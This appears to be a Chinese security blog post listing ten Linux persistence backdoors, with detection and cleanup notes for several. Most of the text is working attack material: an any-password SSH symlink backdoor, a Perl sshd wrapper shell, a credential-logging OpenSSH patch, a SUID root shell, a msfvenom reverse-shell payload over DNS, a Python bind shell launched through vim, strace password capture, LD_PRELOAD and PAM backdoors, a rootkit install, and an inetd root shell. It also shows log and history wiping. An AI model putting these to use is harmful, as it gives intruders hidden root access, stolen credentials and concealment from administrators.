Linux后渗透--权限维持十式(附检测及清除手段)

0x01:SSH

一、ssh软连接
SSH软连接后门的原理
1、Linux软连接ssh后门需要ssh配置允许PAM认证才能使用
2、将sshd文件软连接名称设置为su,这样应用在启动过程中他会去PAM配置文件夹中寻找是否存在对应名称的配置信息(su)
3、如果被控主机不允许root登陆可用其他已存在用户登陆
4、通过软连接的方式,实质上PAM认证是通过软连接的文件名(如:/tmp/su,/home/su)在/etc/pam.d/目录下寻找对应的PAM配置文件(如:/etc/pam.d/su)
5、任意密码登陆的核心是auth sufficient pam_rootok.so,只要PAM配置文件中包含此配置即可 SSH任意密码登陆
举个栗子
靶机执行并查看是否软连接建立完成
ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oport=12345
说明:建立软连接到/usr/local/su 文件,也可以在其他目录,su文件名字不能变,变了就无法登录.当然可以通过其他设置,更改su名字也是可以的.然后启动,并指定监听12345端口,登录的时候密码随意即可.
攻击者利用ssh并使用任意密码登陆靶机
ssh root@1xx.1xx.1xx.1xx -p 12345

检测
1、查看可疑端口
netstat -antlp
2、查看可执行文件
ls -al /tmp/su
清除
1、禁止PAM认证
vim /etc/ssh/sshd_config
UsePAM no
2、重载
/etc/init.d/sshd reload

二、ssh利用公钥免密登录
受害者:1.1.1.x
攻击者:2.2.2.x
现在攻击者想配置免密登录连接受害者
攻击者机器:
ssh-keygen -b 4096 -t rsa
一路回车回车默认就行,在/root/.ssh/目录下生成了两个文件
id_rsa、id_rsa.pub
cat /root/.ssh/id_rsa.pub
全部copy文件内容
受害者机器:
vi /root/.ssh/authorized_keys
攻击者的id_rsa.pub内容粘贴到文件里面(如果原来存在内容就另起一行粘贴)
chmod 600 /root/.ssh/authorized_keys
chmod 700 /root/.ssh
攻击者利用公钥登录
#ssh -i /root/.ssh/id_rsa root@2.2.2.x
缺点:容易被发现

三、ssh wrapper后门
init首先启动的是/usr/sbin/sshd,脚本执行到getpeername这里的时候,正则匹配会失败,于是执行下一句,启动/usr/bin/sshd,这是原始sshd.
原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作.这个子进程,没有什么检验,而是直接执行系统默认的位置的/usr/sbin/sshd,这样子控制权又回到脚本了.此时子进程标准输入输出已被重定向到套接字,getpeername能真的获取到客户端的TCP源端口,如果是19526就执行sh给个shell.
被控端
[root@Jaky ~]# cd /usr/sbin
[root@Jaky sbin]# mv sshd …/bin
[root@Jaky sbin]# echo ‘#!/usr/bin/perl’ >sshd
[root@Jaky sbin]# echo ‘exec “/bin/sh” if(getpeername(STDIN) =~ /^…4A/);’ >>sshd
[root@Jaky sbin]# echo ‘exec{“/usr/bin/sshd”} “/usr/sbin/sshd”,@ARGV,’ >>sshd
[root@Jaky sbin]# chmod u+x sshd
[root@Jaky sbin]# /etc/init.d/sshd restart
控制端
socat STDIOTCP4:受害者IP:22,sourceport=19526

优点:
1、隐蔽性较强,无需要编译,使用于大部分环境中.
2、在无连接后门的情况下,管理员是看不到端口和进程的,last也查不到登陆.
缺点:
1、需要重启sshd进程.

检测
检查网络链接情况及文件
cat /usr/sbin/sshd
清除
rm -rf /usr/sbin/sshd; mv /usr/bin/sshd …/sbin;

四、Crontab定时任务
Crontab定时任务就像windows中的定时任务,在Linux系统中,计划任务一般是由cron承担,我们可以把cron设置为开机时自动启动.
Cron 表达式生成网站:https://qqe2.com/cron

五、OpenSSH后门
通过在openssh源码中插入恶意代码并进行重新编译来替换原有sshd文件。插入的恶意代码可以是将登录成功的用户密码发送到远程服务器或者记录到某个log文件中。在openssh目录中找到includes.h文件。

#vim includes.h
int secret_ok;
FILE *f;
#define ILOG "/tmp/.ilog"       #记录登录到本机的用户名和密码
#define OLOG "/tmp/.olog"       #记录本机登录到远程的用户名和密码
#define SECRETPW "secpulse.com" #为自己的登录密码
#endif /* INCLUDES_H */
#编译,重启服务
yum install -y openssl openssl-devel pam-devel zlib zlib-devel
./configure --prefix=/usr/ --sysconfdir=/etc/ssh/ --with-pam --with-kerberos5
make clean
make && make install
systemctl restart sshd.service

PS: 如果记录日志放在web下,记得清理掉访问日志。

export HISTFILE=/dev/null
export HISTFILESIZE=0
sed -i '/192.168.2.11/d' /etc/httpd/logs/access_log*
sed -i '/192.168.2.11/d' /root/.bash_history
echo > /root/.bash_history

检测
1、查看Openssh版本
ssh -V
2、查看ssh配置文件和/usr/sbin/sshd的时间
stat /usr/sbin/sshd
#时间和版本都是可以修改的,所以不靠谱
3、查看日志
more /var/log/secure | grep “Accepted” | awk ‘{print $11}’ | uniq
4、通过strace监控sshd进程读写文件的操作
ps axu | grep sshd | grep -v grep #sshd父进程ID
strace -o sshd -ff -p 2908
grep open sshd* | grep -v -e No -e null -e denied| grep WR
5、一般的openssh后门都会将账户密码记录到文件或者发送到邮箱中
strings /usr/sbin/sshd |grep ‘[1-9]{1,3}.[1-9]{1,3}.’
strings /usr/sbin/sshd |grep ‘@’
清除
重装或者更新到最新版本
修改文件并重新编译

0x02:SUID后门

当s这个标志出现在文件所有者的x权限上时,此时就被称为Set UID.简程SUID.
当一个文件或者程序所属 suid为0时,那么它的归属及为root,当执行该文件时,其实是以root身份执行的.
必要条件:
1、SUID权限仅对二进制程序有效。
2、执行者对于该程序需要具有x的可执行权限
3、本权限仅在执行该程序的过程中有效
4、在执行过程中执行者将具有该程序拥有者的权限
举个栗子

#include<stdlib.h>
main () {
setuid(0);
system("/bin/bash");
}

编译成二进制文件
gcc suid.c -o luomiweixiong
赋予suid权限
chmod 4755 luomiweixiong
chmod u+s luomiweixiong
假设webshell权限较低,希望使用suid shell执行root命令,通过web的方式调用
http://localhost/suid.php?path=/tmp/luomiweixiong&cmd=id
即可以root的权限执行命令id

检测
查找具有suid权限的文件即可
find / -perm +4000 -ls
find / -perm -u=s -type f 2>/dev/null
清除
清除文件即可

0x03:协议后门

在一些访问控制做的比较严格的环境中,由内到外的TCP流量会被阻断掉.但是对于UDP(DNS、ICMP)相关流量通常不会拦截.
主要原理就是利用ICMP中可控的data字段进行数据传输
Github上的协议后门利用
https://github.com/andreafabrizi/prism
在这里插入图片描述
DNS
在大多数的网络里环境中IPS/IDS或者硬件防火墙都不会监控和过滤DNS流量。主要原理就是将后门载荷隐藏在拥有PTR记录和A记录的DNS域中(也可以利用AAAA记录和IPv6地址传输后门),
开源工具:
DNS后门项目地址https://github.com/DamonMohammadbagher/NativePayload_DNS

#创建msfvenom payload
msfvenom –-platform windows –arch x86_64 –p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.50 –f c > /root/dns/payload.txt
#内容格式如下:
1.1.1.0 "0xfc0x480x830xe40xf00xe80xcc0x000x000x000x410x510x410x500x52.1.com"
1.1.1.1 "0x510x560x480x310xd20x650x480x8b0x520x600x480x8b0x520x180x48.1.com"
1.1.1.2 "0x8b0x520x200x480x8b0x720x500x480x0f0xb70x4a0x4a0x4d0x310xc9.1.com"
#在系统中伪造DNS服务器
dnsspoof -i eth0 -f /root/dns/payload.txt
#客户端运行代码
syntax: NativePayload_DNS.exe "1.1.1." 34 "192.168.1.50"

协议后门检测
对于DNS/ICMP这种协议后门,直接查看网络连接即可,因为在使用过程中会产生大量的网络连接
清除
kill进程、删除文件即可

0x04:VIM后门

Vim是从 vi 发展出来的一个文本编辑器.代码补全,编译及错误跳转等方便编程的功能特别丰富,在程序员中被广泛使用,和Emacs并列成为类Unix系统用户最喜欢的文本编辑器.
使用环境
1、安装了VIM编辑器
2、python扩展(绝大版本默认已安装)
参考
https://github.com/ianxtianxt/WOTD
恶意脚本dir.py的内容可以是任何功能的后门,比如:首先使用一个python开启本地监听端口8888的脚本;

from socket import *
import subprocess
import os, threading, sys, time
if __name__ == "__main__":
        server=socket(AF_INET,SOCK_STREAM)
        server.bind(('0.0.0.0',8888))
        server.listen(5)
        print 'waiting for connect'
        talk, addr = server.accept()
        print 'connect from',addr
        proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk,
                stdout=talk, stderr=talk, shell=True)

同时使用vim的pyfile来执行python脚本
$(nohup vim -E -c “pyfile jaky.py”> /dev/null 2>&1 &) && sleep 2 && rm -f jaky.py
攻击者开启NC链接就OK
检测
由于是通过vim执行的,所以使用ps和netstat仍可以看到vim的相关进程
netstat -antlp | grep vim
more /proc/PID/cmdline
more /proc/PID/maps | grep python
清除
#清除进程即可
netstat -antlp | awk ‘{print $7}’ | grep vim | awk -F/ ‘{print $1}’ | xargs kill -9

0x05:linux进程注入

原理上来说,是通过获取其它的进程并修改它,一般是通过操作系统所提供的调试接口来实现的,
在linux中具有调试功能的工具有ptrace、Gdb、radare2、strace等,这些工具都是使用ptrace这个系统调用来提供服务的.
ptrace系统调用允许一个进程去调试另外一个进程。
参考
https://kevien.github.io/2018/01/28/linux%E8%BF%9B%E7%A8%8B%E6%B3%A8%E5%85%A5/
Github上利用代码
https://github.com/gaffe23/linux-inject/
在这里插入图片描述
衍生的另外一个技巧 “linux一种无文件后门技巧”
文章参考链接
https://kevien.github.io/2018/02/20/linux%E4%B8%80%E7%A7%8D%E6%97%A0%E6%96%87%E4%BB%B6%E5%90%8E%E9%97%A8%E6%8A%80%E5%B7%A7%28%E8%AF%91%E6%96%87%29/

2. strace后门
上面提到使用strace检测预加载型动态链接库后门,它可以跟踪任何进程的系统调用和数据,所以strace同样可以作为后门,比如用来记录ssh,su,sudo的数据。
首先找到sshd的进程PID
ps -ef | grep sshd #父进程PID
然后写入文件
strace -f -p 2908 -o /tmp/.ssh.log -e trace=read,write -s 2048
同样的,可以通过配置用户目录下.login配置获取ssh明文密码
#vim /etc/bashrc
alias ssh=‘strace -o /tmp/.ssh.log -e read,write,connect -s 2048 ssh’
#su,sudo同样的道理
检测
查看shell的配置文件或者alias命令即可发现,例如/.bashrc或/.zshrc文件查看是否有恶意的alias

0x06:动态链接库后门

在Linux操作系统的动态链接库在加载过程中,动态链接器会先读取LDPRELOAD环境变量和默认配置文件/etc/ld.so.preload,并将读取到的动态链接库文件进行预加载,即使程序不依赖这些动态链接库,LDPRELOAD环境变量和/etc/ld.so.preload配置文件中指定的动态链接库依然会被装载,这样就导致了动态链接库文件可以被当做后门使用.
首先创建了一个jaky.c文件,其中调用time方法,然后创建了一个jakylib.c,其中生成了一个time方法供test调用
编译后用LD_PRELOAD=$PWD/jakylib.so ./jaky劫持了time.

//jaky.c
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main(){
  srand(time(NULL));
        return 0;
}
//编译:gcc -o jaky jaky.c

//jakylib.c
#include <stdio.h>
int time(){
    printf("hello Jaky");
    return 0; //the most random number in the universe
}
//编译:gcc -shared -fPIC jakylib.c -o jaky.so

在这里插入图片描述
Github上利用代码
https://github.com/mempodippy/cub3
用于预加载的恶意动态链接库

0x07:mafix rootkit

Mafix是一款常用的轻量应用级别Rootkits,是通过伪造ssh协议漏洞实现远程登陆的特点是配置简单并可以自定义验证密码和端口号.
1.首先是获得远程服务器的root权限
2.然后下载rootkit程序 mafix
(下载前最好把杀毒软件关掉,基本上会报毒的!)
3.开始安装
tar -xvzf mafix.tar.gz
cd mafix
./root rootkit 345
(其中rootkit为你连接后门程序时的密码,345为连接的端口)
可以验证一下是否成功:
[root@jaky ~]# netstat -anlp|grep 345
tcp 0 0 0.0.0.0:345 0.0.0.0:* LISTEN 11280/ttyload
可以看到,345端口已经在监听了.
4.连接后门程序
ssh 111.111.111.111 -p 345

0x08:PAM

PAM其实是通过提供一些动态链接库和一套统一的API,将系统提供的服务和该服务的认证方式分开,使得系统管理员可以灵活地根据需要给不同的服务配置不同的认证方式而无需更改服务程序.
利用步骤
复制patch到源代码目录
打patch
编译
将生成的pam_uninx.so文件覆盖到/lib/secruity/pam_unix.so下
修改文件属性
建立密码保存文件,并设置好相关的权限
清理日志
确保ssh开启pam支持
vim /etc/ssh/sshd_config
UsePAM yes
Github上利用代码
https://github.com/litsand/shell/blob/master/pam.sh

检测
1、通过Strace跟踪ssh
ps axu | grep sshd
strace -o aa -ff -p PID
grep open aa* | grep -v -e No -e null -e denied| grep WR
2、检查pam_unix.so的修改时间
stat /lib/security/pam_unix.so #32位
stat /lib64/security/pam_unix.so #64位
清除
yum reinstall pam

0x09:创建不能删除的文件

使用chattr来给与隐藏权限.这些权限需要使用lsattr这个命令才可以查看到,而如果要修改隐藏权限,则使用chattr这个命令来进行修改.
chattr +i jaky.sh
在这里插入图片描述

0x10:inetd服务后门

inetd是一个监听外部网络请求(就是一个socket)的系统守护进程,其实有很多比较古老的服务都是基于此守护进程的。当inetd接收到一个外部请求后,它会根据这个请求到自己的配置文件中去找到实际处理它的程序,然后再把接收到的这个socket交给那个程序去处理。所以,如果我们已经在目标系统的inetd配置文件中配置好,那么来自外部的某个socket是要执行一个可交互的shell,就获取了一个后门。

#修改/etc/inetd.conf
#discard stream tcp nowait root internal
#discard dgram udp wait root internal
daytime stream tcp nowait root /bin/bash bash -i
开启inetd:
inetd
#nc连接
nc -vv 192.168.2.11 13
#可以配合suid后门
#比如,修改/etc/services文件:
suidshell 6666/tcp
#然后修改/etc/inetd.conf
suidshell stream tcp nowait root /bin/bash bash -i
#可以修改成一些常见的端口,以实现隐藏

检测
查看配置文件即可
/etc/inetd.conf
清除
关闭服务
删除配置文件

  • 1
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值